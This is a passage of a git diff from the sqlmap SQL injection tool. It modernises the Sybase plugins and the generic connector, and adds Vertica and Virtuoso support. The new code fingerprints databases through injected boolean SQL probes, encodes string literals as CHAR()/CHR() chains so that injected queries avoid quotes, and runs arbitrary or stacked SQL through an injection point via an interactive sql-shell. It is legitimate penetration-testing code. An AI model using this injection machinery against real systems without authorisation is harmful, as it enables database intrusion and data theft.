--- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,12 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import unArrayizeValue +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -45,9 +47,11 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -57,9 +61,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ - or conf.dbms in SYBASE_ALIASES) and Backend.getVersion() and \ - Backend.getVersion().isdigit(): + if not conf.extensiveFp and Backend.isDbmsWithin(SYBASE_ALIASES): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() @@ -74,7 +76,7 @@ def checkDbms(self): if conf.direct: result = True else: - result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()") + result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE @@ -84,7 +86,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -98,16 +100,21 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) - for version in xrange(12, 16): - result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version) + result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)")) + + if result and result.isdigit(): + Backend.setVersion(str(result)) + else: + for version in xrange(12, 16): + result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) - if result: - Backend.setVersion(str(version)) - break + if result: + Backend.setVersion(str(version)) + break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 42df25836d4..53f0bea1bc1 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,61 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapSyntaxException +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod - def unescape(expression, quote=True): - if quote: - while True: - index = expression.find("'") - if index == -1: - break - - firstIndex = index + 1 - index = expression[firstIndex:].find("'") - - if index == -1: - raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression) - - lastIndex = firstIndex + index - old = "'%s'" % expression[firstIndex:lastIndex] - unescaped = "+".join("%s(%d)" % ("CHAR" if ord(expression[i]) < 256 else "TO_UNICHAR", ord(expression[i])) for i in xrange(firstIndex, lastIndex)) - - expression = expression.replace(old, unescaped) - else: - expression = "+".join("CHAR(%d)" % ord(c) for c in expression) - - return expression - - @staticmethod - def escape(expression): - while True: - index = expression.find("CHAR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find("))") - - if index == -1: - raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression) - - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.replace("CHAR(", "").replace(")", "") - oldUpper = oldUpper.split("+") - - escaped = "'%s'" % "".join(chr(int(char)) for char in oldUpper) - expression = expression.replace(old, escaped) - - return expression + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+TO_UNICHAR(235)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "+".join("%s(%d)" % ("CHAR" if _ < 128 else "TO_UNICHAR", _) for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 070fa661a57..ccc94f21e20 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,31 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Sybase it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Sybase it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Sybase it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Sybase it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py new file mode 100644 index 00000000000..2d0f69528e0 --- /dev/null +++ b/plugins/dbms/vertica/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import VERTICA_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.vertica.enumeration import Enumeration +from plugins.dbms.vertica.filesystem import Filesystem +from plugins.dbms.vertica.fingerprint import Fingerprint +from plugins.dbms.vertica.syntax import Syntax +from plugins.dbms.vertica.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class VerticaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Vertica methods + """ + + def __init__(self): + self.excludeDbsList = VERTICA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.VERTICA] = Syntax.escape diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py new file mode 100644 index 00000000000..bfce0ce645d --- /dev/null +++ b/plugins/dbms/vertica/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import vertica_python +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/vertica/vertica-python + User guide: https://github.com/vertica/vertica-python/blob/master/README.md + API: https://www.python.org/dev/peps/pep-0249/ + License: Apache 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = vertica_python.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port, connection_timeout=conf.timeout) + except vertica_python.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except vertica_python.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (vertica_python.OperationalError, vertica_python.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except vertica_python.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py new file mode 100644 index 00000000000..49ead488f66 --- /dev/null +++ b/plugins/dbms/vertica/enumeration.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getRoles(self, *args, **kwargs): + warnMsg = "on Vertica it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/vertica/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py new file mode 100644 index 00000000000..a98238041b1 --- /dev/null +++ b/plugins/dbms/vertica/fingerprint.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import VERTICA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.VERTICA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.VERTICA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(VERTICA_ALIASES): + setDbms(DBMS.VERTICA) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.VERTICA + logger.info(infoMsg) + + # NOTE: Vertica works too without the CONVERT_TO() + result = inject.checkBooleanExpression("BITSTRING_TO_BINARY(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.VERTICA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("HEX_TO_INTEGER(NULL) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warning(warnMsg) + + return False + + setDbms(DBMS.VERTICA) + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.VERTICA + logger.info(infoMsg) + + if inject.checkBooleanExpression("CALENDAR_HIERARCHY_DAY(NULL) IS NULL"): + Backend.setVersion(">= 9.0") + else: + Backend.setVersion("< 9.0") + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py new file mode 100644 index 00000000000..556a0273c22 --- /dev/null +++ b/plugins/dbms/vertica/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" + True + """ + + def escaper(value): + return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py new file mode 100644 index 00000000000..93c3dbd3ea9 --- /dev/null +++ b/plugins/dbms/vertica/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Vertica it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Vertica it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Vertica it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Vertica it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/virtuoso/__init__.py b/plugins/dbms/virtuoso/__init__.py new file mode 100644 index 00000000000..07f68d2ce62 --- /dev/null +++ b/plugins/dbms/virtuoso/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import VIRTUOSO_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.virtuoso.enumeration import Enumeration +from plugins.dbms.virtuoso.filesystem import Filesystem +from plugins.dbms.virtuoso.fingerprint import Fingerprint +from plugins.dbms.virtuoso.syntax import Syntax +from plugins.dbms.virtuoso.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class VirtuosoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Virtuoso methods + """ + + def __init__(self): + self.excludeDbsList = VIRTUOSO_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.VIRTUOSO] = Syntax.escape diff --git a/plugins/dbms/virtuoso/connector.py b/plugins/dbms/virtuoso/connector.py new file mode 100644 index 00000000000..e2980734d7f --- /dev/null +++ b/plugins/dbms/virtuoso/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Virtuoso it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/virtuoso/enumeration.py b/plugins/dbms/virtuoso/enumeration.py new file mode 100644 index 00000000000..25443703c0f --- /dev/null +++ b/plugins/dbms/virtuoso/enumeration.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Virtuoso it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Virtuoso it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Virtuoso it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def searchDb(self): + warnMsg = "on Virtuoso it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Virtuoso it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Virtuoso it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on Virtuoso search option is not available" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Virtuoso it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/virtuoso/filesystem.py b/plugins/dbms/virtuoso/filesystem.py new file mode 100644 index 00000000000..ada2ec7d61c --- /dev/null +++ b/plugins/dbms/virtuoso/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Virtuoso it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Virtuoso it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/virtuoso/fingerprint.py b/plugins/dbms/virtuoso/fingerprint.py new file mode 100644 index 00000000000..b033511b8a6 --- /dev/null +++ b/plugins/dbms/virtuoso/fingerprint.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import VIRTUOSO_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.VIRTUOSO) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.VIRTUOSO + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(VIRTUOSO_ALIASES): + setDbms(DBMS.VIRTUOSO) + return True + + infoMsg = "testing %s" % DBMS.VIRTUOSO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("GET_KEYWORD(NULL,NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.VIRTUOSO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("RDF_NOW_IMPL() IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.VIRTUOSO + logger.warning(warnMsg) + + return False + + setDbms(DBMS.VIRTUOSO) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.VIRTUOSO + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/virtuoso/syntax.py b/plugins/dbms/virtuoso/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/virtuoso/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/virtuoso/takeover.py b/plugins/dbms/virtuoso/takeover.py new file mode 100644 index 00000000000..e91c8050796 --- /dev/null +++ b/plugins/dbms/virtuoso/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Virtuoso it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Virtuoso it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Virtuoso it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Virtuoso it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index fff593b1b9b..ee235b13b63 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,18 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapUndefinedMethod +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapUndefinedMethod -class Connector: +class Connector(object): """ This class defines generic dbms protocol functionalities for plugins. """ @@ -20,63 +20,63 @@ class Connector: def __init__(self): self.connector = None self.cursor = None + self.hostname = None def initConnection(self): - self.user = conf.dbmsUser - self.password = conf.dbmsPass if conf.dbmsPass is not None else "" + self.user = conf.dbmsUser or "" + self.password = conf.dbmsPass or "" self.hostname = conf.hostname self.port = conf.port self.db = conf.dbmsDb - def connected(self): - infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) - infoMsg += ":%d established" % self.port - logger.info(infoMsg) + def printConnected(self): + if self.hostname and self.port: + infoMsg = "connection to %s server '%s:%d' established" % (conf.dbms, self.hostname, self.port) + logger.info(infoMsg) def closed(self): - infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) - infoMsg += ":%d closed" % self.port - logger.info(infoMsg) + if self.hostname and self.port: + infoMsg = "connection to %s server '%s:%d' closed" % (conf.dbms, self.hostname, self.port) + logger.info(infoMsg) self.connector = None self.cursor = None - def setCursor(self): + def initCursor(self): self.cursor = self.connector.cursor() - def getCursor(self): - return self.cursor - def close(self): try: - self.cursor.close() - self.connector.close() - except Exception, msg: - logger.debug(msg) + if self.cursor: + self.cursor.close() + if self.connector: + self.connector.close() + except Exception as ex: + logger.debug(ex) finally: self.closed() def checkFileDb(self): if not os.path.exists(self.db): errMsg = "the provided database file '%s' does not exist" % self.db - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException(errMsg) def connect(self): errMsg = "'connect' method must be defined " - errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + errMsg += "inside the specific DBMS plugin" + raise SqlmapUndefinedMethod(errMsg) def fetchall(self): errMsg = "'fetchall' method must be defined " - errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + errMsg += "inside the specific DBMS plugin" + raise SqlmapUndefinedMethod(errMsg) def execute(self, query): errMsg = "'execute' method must be defined " - errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + errMsg += "inside the specific DBMS plugin" + raise SqlmapUndefinedMethod(errMsg) def select(self, query): errMsg = "'select' method must be defined " - errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + errMsg += "inside the specific DBMS plugin" + raise SqlmapUndefinedMethod(errMsg) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py new file mode 100644 index 00000000000..de4ef537523 --- /dev/null +++ b/plugins/generic/custom.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from __future__ import print_function + +import re +import sys + +from lib.core.common import Backend +from lib.core.common import dataToStdout +from lib.core.common import getSQLSnippet +from lib.core.common import isListLike +from lib.core.common import isStackingAvailable +from lib.core.common import joinValue +from lib.core.compat import xrange +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.dicts import SQL_STATEMENTS +from lib.core.enums import AUTOCOMPLETE_TYPE +from lib.core.enums import DBMS +from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import NULL +from lib.core.settings import PARAMETER_SPLITTING_REGEX +from lib.core.shell import autoCompletion +from lib.request import inject +from thirdparty.six.moves import input as _input + +class Custom(object): + """ + This class defines custom enumeration functionalities for plugins. + """ + + def __init__(self): + pass + + def sqlQuery(self, query): + output = None + sqlType = None + query = query.rstrip(';') + + + try: + for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): + for sqlStatement in sqlStatements: + if query.lower().startswith(sqlStatement): + sqlType = sqlTitle + break + + if not re.search(r"\b(OPENROWSET|INTO)\b", query, re.I) and (not sqlType or "SELECT" in sqlType): + infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) + logger.info(infoMsg) + + if Backend.isDbms(DBMS.MSSQL): + match = re.search(r"(\bFROM\s+)([^\s]+)", query, re.I) + if match and match.group(2).count('.') == 1: + query = query.replace(match.group(0), "%s%s" % (match.group(1), match.group(2).replace('.', ".dbo."))) + + query = re.sub(r"(?i)\w+%s\.?" % METADB_SUFFIX, "", query) + + output = inject.getValue(query, fromUser=True) + + if sqlType and "SELECT" in sqlType and isListLike(output): + for i in xrange(len(output)): + if isListLike(output[i]): + output[i] = joinValue(output[i]) + + return output + elif not isStackingAvailable() and not conf.direct: + warnMsg = "execution of non-query SQL statements is only " + warnMsg += "available when stacked queries are supported" + logger.warning(warnMsg) + + return None + else: + if sqlType: + infoMsg = "executing %s statement: '%s'" % (sqlType if sqlType is not None else "SQL", query) + else: + infoMsg = "executing unknown SQL command: '%s'" % query + logger.info(infoMsg) + + inject.goStacked(query) + + output = NULL + + except SqlmapNoneDataException as ex: + logger.warning(ex) + + return output + + def sqlShell(self): + infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms() + infoMsg += "'x' or 'q' and press ENTER" + logger.info(infoMsg) + + autoCompletion(AUTOCOMPLETE_TYPE.SQL) + + while True: + query = None + + try: + query = _input("sql-shell> ") + query = getUnicode(query, encoding=sys.stdin.encoding) + query = query.strip("; ") + except UnicodeDecodeError: + print() + errMsg = "invalid user input" + logger.error(errMsg) + except KeyboardInterrupt: + print() + errMsg = "user aborted" + logger.error(errMsg) + except EOFError: + print() + errMsg = "exit" + logger.error(errMsg) + break + + if not query: + continue + + if query.lower() in ("x", "q", "exit", "quit"): + break + + output = self.sqlQuery(query) + + if output and output != "Quit": + conf.dumper.sqlQuery(query, output) + + elif not output: + pass + + elif output != "Quit": + dataToStdout("No output\n") + + def sqlFile(self): + infoMsg = "executing SQL statements from given file(s)" + logger.info(infoMsg) + + for filename in re.split(PARAMETER_SPLITTING_REGEX, conf.sqlFile): + filename = filename.strip() + + if not filename: + continue + + snippet = getSQLSnippet(Backend.getDbms(), filename) + + if snippet and all(query.strip().upper().startswith("SELECT") for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if 